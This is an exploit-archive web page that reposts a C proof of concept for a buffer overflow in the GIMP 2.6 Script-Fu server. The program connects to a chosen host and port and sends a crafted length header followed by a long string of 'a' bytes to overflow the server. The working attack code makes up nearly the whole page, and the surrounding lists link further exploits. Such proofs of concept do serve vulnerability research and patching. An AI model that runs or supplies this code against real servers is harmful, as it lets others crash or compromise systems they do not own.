首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
GIMP 2.6 script-fu Buffer Overflow
来源:reactionpenetrationtesting.co.uk 作者:Sheridan 发布时间:2012-05-31  

////////////////////////////////////////////////////////////////
//                 //
// PoC for GIMP <= 2.6 Script-Fu server buffer overflow       //
// Author: Joseph Sheridan           //
// Date: 20/05/2012             //
//                 //
// compile with cl scriptfubof.c /link wsock32.lib          //
////////////////////////////////////////////////////////////////

#define WIN32_LEAN_AND_MEAN
#include <winsock2.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
 
#define DEFAULT_PORT 10008
// TCP socket type
#define DEFAULT_PROTO SOCK_STREAM
void senddata();
void recvdata();
WSADATA wsaData;
SOCKET  conn_socket;
char Buffer[2000000];
char inBuffer[128];
 
void Usage()
{
 printf("Usage: scriptfubof servername portnumber\n");
 fflush(stdout);
 exit(1);
}
 
int main(int argc, char *argv[])
{
 
 // default to localhost
 char *server_name= "localhost";
 unsigned short port = DEFAULT_PORT;
 int i, loopcount, maxloop=-1;
 int retval;
 unsigned int addr;
 int socket_type = DEFAULT_PROTO;
 struct sockaddr_in server;

 if (argc < 3) {
  Usage();
 }
 
 if ((retval = WSAStartup(0x202, &wsaData)) != 0)
 {
    fprintf(stderr,"WSAStartup() failed with error %d\n", retval);
  WSACleanup();
  return -1;
 }
 
 // Get portnum
 port = atoi(argv[2]);
 
 memset(&server, 0, sizeof(server));
 server.sin_addr.s_addr = inet_addr(argv[1]);
 server.sin_family = AF_INET;
 server.sin_port = htons(port);
 
 conn_socket = socket(AF_INET, socket_type, 0); /* Open a socket */
 if (conn_socket <0 )
 {
  fprintf(stderr,"Client: Error Opening socket: Error %d\n", WSAGetLastError());
  WSACleanup();
  return -1;
 }
 
 if (connect(conn_socket, (struct sockaddr*)&server, sizeof(server)) == SOCKET_ERROR)
 {
  fprintf(stderr,"Client: connect() failed: %d\n", WSAGetLastError());
  WSACleanup();
  return -1;
 }
 
 // Send the data
 senddata();

 // recieve a msg
 recvdata();
 
 closesocket(conn_socket);
 WSACleanup();
 
return 0;
}

void senddata() {

 int loopcount = 0, retval =0;
 unsigned char command[]="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa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aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
  
 
 Buffer[0]='\x47'; //Magic byte 'G'
 Buffer[1]=sizeof(command)/256; //High byte of L - L div 256
 Buffer[2]=sizeof(command)%256; //Low byte of L - L mod 256
 strcpy(&Buffer[3],command);
 
 retval = send(conn_socket, Buffer, sizeof(command) +3, 0);
 if (retval == SOCKET_ERROR)
 {
  fprintf(stderr,"Client: send() failed: error %d.\n", WSAGetLastError());
  WSACleanup();
  return;
 }
 else
   printf("Client: send() is OK.\n");
 printf("Client: Sent data \"%s\"\n", Buffer);
 
}

void recvdata() {
 int i=0;
 int retval=0;
 memset(inBuffer,0,128);
 
 retval = recv(conn_socket, inBuffer, 128, 0);
 printf("retval is :%d\n", retval);
 printf("first char is: %x\n", inBuffer[0]);
 if (retval == SOCKET_ERROR)
   {
  fprintf(stderr,"Client: recv() failed: error %d.\n", WSAGetLastError());
  closesocket(conn_socket);
  WSACleanup();
  return;
 }
 else {
  printf("Client: recv() is OK.\n");
  
  // print the message contents...
  
  for (i=0;i<retval;i++) {
   printf("%c", inBuffer[i]);
   
  }
  printf("\n");
  fflush(stdout);
   }

}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·PHP Volunteer Management Syste
·Microsoft Wordpad 5.1 (.doc) N
·Universal Browser Link Spoofin
·Sony VAIO Wireless Manager 4.0
·Sorensoft Power Media 6.0 Deni
·MPlayer SAMI Subtitle File Buf
·Tftpd32 DNS Server 4.00 Denial
·MiniWeb Content-Length Denial
·ispVM System XCF File Handling
·Citrix Provisioning Services 5
·WinRadius 2009 Denial Of Servi
·Citrix Provisioning Services 5
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved